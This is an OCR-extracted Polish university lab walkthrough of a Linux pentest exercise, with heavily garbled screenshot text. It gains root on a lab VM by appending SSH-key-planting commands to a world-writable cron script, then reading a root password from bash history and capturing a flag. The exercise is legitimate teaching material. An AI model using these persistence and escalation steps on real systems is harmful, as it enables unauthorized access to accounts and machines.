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Wstep

Celem scenariusza jest zalogowanie sie na maszyne , hastepnie
przeszukanie maszyny pod katem btedne] konfiguracji | odczytanie pliku
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Uruchamianie maszyn

Przed rozpoczeciem upewnij sie, ze maszyny
Linux Basics oraz Linux Basics PENTEST sa wtaczone.
W kazdej chwili mozesz je przywrocic do stanu poczatkowego.

LINUX BASICS O] LINUX BASICS PENTEST 0]

Linux Basics

IP1:192.168.100.1/24 (dostepne z VPN)
IP2:192.168.200.1/24 (niedostgpne z VPN)
Dostep: SSH po VPN

Komenda: ssh student@192.168.100.1
Uzytkownik: student

Linux Basics PENTEST
IP: 192.168.200.51/24 (niedostgpne z VPN)

Hasto: pjatk
& Materiaty X Materiaty
cPU MEM STORAGE CPU MEM STORAGE
1 5 5 1 5 5
Przywroc Resetu] Wytgcz Przywrac Resetuj Wytacz




‘Q PODSTAWY LINUX | PENTEST POLSKO-JAPONSKA AKADEMIA TECHNIK KOMPUTEROWYCH

PJA.EDU-PL

Potaczenie OpenVPN

Strona gitowna Zadania Scenariusze Maszyny Ranking Testy & Ustawienia

VPNy v

Pobierz plik konfiguracyjny ©OpenVPN

Potaczenie OpenVPN jest niezbedne do rozwiazania zadan.

Aby potaczyc sie z siecia VPN, nalezy pobrac plik konfiguracyjny

OpenVPN z rozwijanego menu ,,VPNy” na stronie gtownej.
Nastepnie nalezy wykonac¢ komende:
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Legenda

cat /etc/passwd — komende nalezy wykonac¢ na maszynie Kali
cat /etc/passwd — komende nalezy wykonac¢ na maszynie Cwiczenia
— komende nalezy wykonac¢ na maszynie Pentest
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Zadanie 1.1p: SSH

Celem zadania jest zalogowanie sie ha maszyne za pomoca SSH.

Uwaga! Maszyna nie jest widoczna z poziomu VPN (Kali Linux).

Nalezy najpierw zalogowaé sie na maszyne LINUX BASICS CWICZENIA
192.168.100.1, ktora posiada klucz publiczny umozliwiajacy na zalogowanie sie
na maszyne jako uzytkownik bez hasta.

ssh student(@192.168.100.1 #wykonujemy na Kali, hasto: pjatk
ssh pentest(©@192.168.200.51 #wykonujemy na 192.168.100.1, bez hasta
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Zadanie 1.1p: SSH

[:—[kaliﬁﬁkalil—:ﬂ:

% ssh

student®192.168.1@0.1"s password:

Linux linux-basics 6.1.8-23-amd64 #1 SMP PREEMPT_DYNAMIC Debianm 6.1.99-1 (2024-87-15) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in fusr/share/doc/*/copyright.

Debian GHNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Tue Jul 3@ @7:36:14 2024 from 19.65.0.6

studentdlinux-basics:~% ssh pentest®192.168.200.51

The authenticity of host "192.168.200.51 (192.168.200.51)' can't be established.

ED25519 key fingerprint is SHA256:rYsIS+mbbIxvZ/W4TA/yZWdARMheroxIEVZXrnmlplA.

This key is not known by any other names.

Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added "192.168.200.51" (ED25519) to the 1list of known hosts.

Linux linux-basics-pentest 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64

The programs included with the Debilan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /fusr/share/doc/*/copyright.

Debian GHNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
35 1
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SSH
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Zadanie 1.2p: Zadanie Cron

Celem zadania jest znalezienie zadania cron, ktére wykorzystuje plik z btednymi
uprawnieniami, nastepnie dopisanie do tego pliku komend, ktore umozliwia
zdalne zalogowanie sie jako uzytkownik developer.

Przyktad: skopiowanie autoryzowanego klucza publicznego do pliku
umozliwi  nam  wylogowanie sie

z uzytkownika pentest | zalogowanie na uzytkownika developer.

#x * % % % developer /home/developer/clean.sh oznacza, ze skrypt clean.sh uruchomi sie co minute z uprawnieniami developer
#uprawnienia rwxrwxrwx oznaczajg, ze kazdy moze edytowa¢ ten plik
#dopisanie do pliku clean.sh komendy tworzacej katalog ~developer/.ssh

#dopisane do pliku clean.sh tego samego klucza, ktorym zalogowalismy sie na uzytkownika pentest.

11



O PODSTAWY LINUX | PENTEST

POLSKO-JAPONSKA AKADEMIA TECHNIK KOMPUTEROWYCH

PJA.EDU-PL

Zadanie 1.2p: Zadanie Cron

E= =i = = =1

SHELL=/bin/sh

:~% cat /etc/crontab
Jetc/crontab: system-wide crontab
Unlike any other crontab you don't have to rum the “crontab’
command to install the new version when you edit this file
and files in fetc/cron.d. These files also have username fields,
that none of the other crontabs do.

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin: /usr/bin

# Example of job def
.

g1 .

#1 | .

2 I

# 1 1 |

g1 1 1 1 |

ﬁ * * *

17 = * & & root
25 6 * & & root
47 6 * & F root
52 6 1+ = root
i

inition:

minute (@ - 59)

hour (@ - 23)

day of month (1 - 31)

month (1 - 12) OR jan,feb,mar,apr ...

cd /
test
test
test

a5

| .—— day of week (@ - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat

*# % user-name command to be executed

run-parts --report /etc/cron.hourly

/usr/sbin/amacron || { cd / & run-parts --report /etc/cron.daily; }
fusr/sbin/anacron || { cd / & run-parts --—report /etc/cron.weekly; }
/usr/shin/anacron || { cd / & run-parts --report /etc/cron.monthly; }

* % % % * developer /home/developer/clean.sh

:~% 1s -1 /home/developer/clean.sh

-rwxrwxrwx 1 developer developer 23 Jul 3@ 83:22 /home/developer/clean.sh

%
%
Jauthorized_keys" >> /home/dev

:~%

echo "mkdir /home/developer/.ssh” >» /home/developer/clean.sh
echo "echo $(cat /home/pentest/.ssh/authorized_keys) > /home/developer/.ssh

eloper/clean.sh

\ 4

Zadanie Cron

12
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Zadanie 1.3p: Developer

Celem zadania jest zdalne zalogowanie sie na uzytkownika developer.

Zadanie cron z poprzedniego cwiczenia uruchamia sie co minute.

Po upewnieniu sie, ze autoryzowany klucz zostat poprawnie przekopiowany,
mozemy wylogowac sie z uzytkownika pentest i potaczyC sie jeszcze raz jako
uzytkownik developer:

#upewnliamy sie, ze cron zadziatat
#wracamy na maszyne 192.168.100.1
ssh developer@©192.168.200.51 #logujemy sie na developera

13
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Zadanie 1.3p: Developer

:~% cat /home/developer/.ssh/authorized_keys
ssh-rsa AAAAB3INzaClyc2EAAAADAQABAAABSQCPmoH+6bFtixHHy1jUrr,/y8celtfrfYLWs6zRJERDjPAGOTSI+NITzEen+yplwG2ATwINR
tnAFFaFcy7Ato@WILMI jrFNwvFk+Veg5gDe IKwBPvhalNSt20dZ fiX0gAT7 /g6YNSBZBXFmeDal+f fRYHAAYUENevs FzAWNS JOKZFNhhVEbRS
YhEYYcCoufCRPkdgMitAh/RVQ3tZDPgBVOQWWSXdOmTZOFVE=4DDvIcX9qtOC+pOmsAntvWFQC3r19IRUovmskheVZmQTsmiHZNGAINIEFEY
2IizrGVXhR1ZrPpENxg09G6Rod jc+YqlG5VxuwooliSbK2BNSBXz3ZokKxyx+In1HtYzDbBm3o0bOfby5LFIIZ6Kkcgg16HKtVee2pCZ2dsg
kXCssou20ziT/89bGXvStchSMsV3Ih1M+geARn Jpbuj8DKtNxtYdkdPuQVAThuWKCRIeVEMVx0AIvO7XsisgByzWFrzZ@e8zAg7cz21F5RKP
ga@kBsFz3HtIMFnM= student@network-protocols

~% exit
logout
Connection to 192.168.20@.51 closed.
student@linux-basics:~$% ssh developer@192.168.2080.51 >

Linux linux-basics-pentest 6.1.8-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-86-21) xB86_64

i i i i Developer
The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in fusr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.

14
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Zadanie 1.4p: Historia Bash

Celem zadania jest odczytanie historii komend uzytkownika developer, znalezienie
hasta uzytkownika root | zalogowanie sie na niego:

#w pliku znajdziemy hasto na roota
#za pomocg su logujemy sie na roota

15
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Zadanie 1.4p: Historia Bash

:~$ cat /home/developer/.bash_history
vim clean.sh
clean.sh
./clean.sh
chmod 777 clean.sh
su

su
exit

:~$ su
Password:
root@linux-basics-pentest:/home/developert

$27969 2025-03-08 14:35:53

Vv

Historia Bash

16




Zadanie 1.5p: Flaga Roota

Ostatnim krokiem jest odczytanie pliku /root/root.txt | przekopiowanie flagi
do formularza na platformie:

17
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Zadanie 1.5p: Flaga Roota

Zadanie zostanie zaliczone przekopiowaniu flagi do formularza na platformie:

root@linux-basics-pentest:/home/developer# id
uid=0(root) gid=0(root) groups=0(root)
root@linux-basics-pentest:/home/developer# cat /root/root.txt

,,

root@linux-basics-pentest:/home/developer# [ Flaga Roota

A\ 4

18
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